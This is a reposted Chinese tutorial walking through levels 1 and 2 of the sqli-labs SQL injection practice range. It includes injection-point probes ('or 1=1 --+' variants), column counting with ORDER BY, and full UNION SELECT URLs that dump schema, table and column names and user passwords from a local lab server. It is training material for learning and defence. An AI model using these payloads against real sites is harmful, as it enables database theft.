ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-labs靶场练习

2021-03-22 19:00:15  阅读:826  来源: 互联网

标签:数据库 labs sqli --+ sql 靶场 id 注入


                          Sqli-labs靶场练习

来了来了,sql注入练习,这将会是很长的一段路。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程,游戏的目的就是学习sql注入的方法,得到数据库相关的东西,利用所学到的注入方法,就可以从多个方面进行防止sql注入。
Sqli-labs靶场安装这里就不再多说了,百度这个方案一直都很好用。
可以先看看差不多有多少关
在这里插入图片描述在这里插入图片描述

虽然界面上显示的是75关,但是搭建的靶场里面只有65关,后面更新添加后面10关。直接进入正题

Less-1 Error based – Single quotes – String(基于错误-单引号-字符串)

在这里插入图片描述

                      请输入ID作为带数值的参数

那么尝试将?id=1, ?id=1’, ?id=1” 分别添加到url中,查看返回。
?id=1
在这里插入图片描述

?id=1’
在这里插入图片描述

?id=1“
在这里插入图片描述

其中只有?id=1’报错,说明是字符型注入(且为单引号)
在错误的报告中,提交的sql中的1‘在经过sql语句构造后形成’1’’ LIMIT 0,1,其中多加了一个’,现在的目标就是将多余的’去掉。
尝试’or 1=1 --+
在这里插入图片描述

其中‘–+’代表的是注释,为了防止有过滤,在url的提交过程中会进行url编码,在这个环境里可行的注释方法有–+,–%20,%23,-- #。
这样构造的sql语句就变成了Select ****** where id=’1’ or 1=1–+ ‘LIMIT 0,1。
现在问为什么只有?id=1’报错?
因为Mysql查询并不严格,而在select * from users where id=’1’’ limit 0,1中有一个单引号没有闭合而报错,在select * from users where id=’1” ‘ limit 0,1中虽然多了一个双引号,但在mysql中会把它当成两个单引号,这样2个单引号又刚好闭合,所以查询时不会报错。
接下来就是爆数据库,爆表名,爆字段,以Less-2为例子一起进行。

Less-2 Error based – Intiger based(基于错误-基于整数)

同样尝试将?id=1 ?id=1’ ?id=1”添加到url中,其中?id=1’ ?id=1”报错,说明是数字型注入。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

再测试:id=2 … id=3 …
在这里插入图片描述
在这里插入图片描述

然后测试是否具有注入点:
-1 or 1=1 --+
在这里插入图片描述

这样仍然显示正确的结果,所以这里存在注入点(id=-1是显然不存在的,但是or 1=1是一个正确的条件(ture),使查询语句又返回结果)
{一般判断是否存在注入点的语句:
or 1=1 --+
‘or 1=1 --+
“or 1=1 --+
)or 1=1 --+
‘)or 1=1 --+
“)or 1=1 --+
“))or 1=1 --+}
然后我们猜字段:
利用orde by n(整数),order by n对前面的数据进行排序,意义为对第n个列进行排序。
在这里插入图片描述在这里插入图片描述

当n=4时,结果报错,说明有3列。
知道了有多少列之后,再就利用union联合注入,当id的数据再数据库中不存在时,(我们可以让id=-1或者id=0,两个sql语句进行联合操作时,当前一个语句选择的内容为空,会将我们后面定义的查询语句的结果返回出来)
在这里插入图片描述

我们可对第2个和第3个字段进行操作。
在查询之前,我们还得了解些东西。
系统函数:
1.version()–MySQL版本
2.user()—数据库用户
3.database()—当前数据库名
4.@@datadir—数据库路径
5.@@version_compile_os—操作系统版本
数据库字符串连接函数;

  1. concat(str1,str2,…)—没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)—含有分隔符地连接字符串
  3. group_concat(str1,star2,…)–连接一个组得所有字符串,并以逗号分隔每一条数据
    正式开始:
    爆数据库:
    http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
    在这里插入图片描述

(hackbar,火狐工具,安装方法可百度)
爆dvwa数据库的数据表:
http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’ --+
在这里插入图片描述

爆users表的列:
http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’ --+
在这里插入图片描述

爆users里的数据:
http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
在这里插入图片描述

标签:数据库,labs,sqli,--+,sql,靶场,id,注入
来源: https://blog.csdn.net/weixin_47387913/article/details/115088826

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有